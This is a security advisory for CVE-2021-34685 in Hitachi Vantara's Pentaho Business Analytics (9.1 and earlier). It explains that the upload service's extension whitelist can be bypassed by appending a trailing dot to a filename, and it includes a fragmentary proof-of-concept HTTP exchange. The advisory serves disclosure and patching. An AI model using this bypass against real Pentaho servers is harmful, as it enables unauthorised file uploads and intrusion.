Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Bypass of Filename Extension Restrictions
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification:  June 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-34685
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka

--- ### --- ### ---

Product Description:

Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.

( Source: )

--- ### --- ### ---

Vulnerability Details:

Pentaho allows users to upload various files of different file types. The
upload service is implemented under the "/pentaho/UploadService" endpoint.
The file types allowed by the application are “csv, dat, txt, tar, zip,
tgz, gz, gzip”. When uploading a file with an extension other than the
allowed file types, the application responds with the error message of
"UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are
csv,dat,txt,tar,zip,tgz,gz,gzip". However, the file extension check can be
bypassed by including a single dot "." at the end of the filename.

--- ### --- ### ---

Proof of Concept (PoC):

See Ginger ( )


--- ~~~ --- ~~~ ---
Host: localhost:8080
Content-Length: 194
Cookie: session-flushed=true; JSESSIONID=A0D2E6A3857C5B7EEF763821513174E9;
client-time-offset=32; JSESSIONID=2D525AE6A712A91E6CA1CBE50177559C;
session-expiry=1617569433767; server-time=1617562233767
Connection: close
Content-Disposition: form-data; name="uploadFormElement";
Content-Type: text/plain

HTTP/1.1 200
Set-Cookie: session-expiry=1617572215172; Path=/
Set-Cookie: server-time=1617565015172; Path=/
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 6
Date: Sun, 04 Apr 2021 19:36:55 GMT
Connection: close
--- ~~~ --- ~~~ ---

--- ### --- ### ---